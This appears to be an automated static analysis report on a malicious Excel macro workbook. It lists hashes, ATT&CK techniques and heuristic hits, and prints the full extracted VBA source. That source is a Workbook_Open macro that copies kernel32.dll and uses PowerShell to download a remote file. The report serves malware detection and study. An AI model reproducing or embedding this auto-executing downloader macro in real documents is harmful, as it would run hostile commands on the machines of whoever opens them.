Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 41566e72279b7221…

MALICIOUS

Office (OOXML)

14.0 KB Created: 2021-06-04 11:05:22 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: f88f2b5374ff4356959803528269dd86 SHA-1: 3ee4a4906b5fe5dfe9d7b63e472e78d4aaa03bc4 SHA-256: 41566e72279b7221a43e50554a1985693c237ab7c673886e7d815eb841f8643c
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that executes a series of commands. It first copies kernel32.dll to the user's temporary directory and then uses PowerShell to download a file from a provided URL to C:\Temp\test.ini. This indicates the macro is designed to download and execute a second-stage payload, likely for further malicious activity.

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").currentDirectory = Environ("TEMP")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Sleep 2000
    WscriptExec ("powershell -c iwr https://th.bing.com/th/id/OIP.IV4duzHKytfRSOSywgprAgHaJ-?pid=ImgDet&rs=1 -OutFile C:\Temp\test.ini")
    Sleep 10000
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject("WScript.Shell").currentDirectory = Environ("TEMP")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    WscriptExec ("cmd.exe /C copy /b C:\Windows\System32\kernel32.dll" & Environ("TEMP") & "\k32.dll")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    WscriptExec ("cmd.exe /C copy /b C:\Windows\System32\kernel32.dll" & Environ("TEMP") & "\k32.dll")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://th.bing.com/th/id/OIP.IV4duzHKytfRSOSywgprAgHaJ-?pid=ImgDet&rs=1 In document text (OOXML body / shared strings)
    • https://th.bing.com/th/id/OIP.IV4duzHKytfRIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1188 bytes
SHA-256: 872faea637185742bfe332aff746e302b580769d6f3fed11e6a304e54d299f6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Sub Workbook_Open()

WscriptExec ("cmd.exe /C copy /b C:\Windows\System32\kernel32.dll" & Environ("TEMP") & "\k32.dll")

CreateObject("WScript.Shell").currentDirectory = Environ("TEMP")

Sleep 2000
WscriptExec ("powershell -c iwr https://th.bing.com/th/id/OIP.IV4duzHKytfRSOSywgprAgHaJ-?pid=ImgDet&rs=1 -OutFile C:\Temp\test.ini")
Sleep 10000


End Sub


Function WscriptExec(tp As String)
    CreateObject("WScript.Shell").Run tp, 1
End Function

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: d6efd0dda45546353e018fc6f866a1625f2b11536f26084a49235c3440951f1b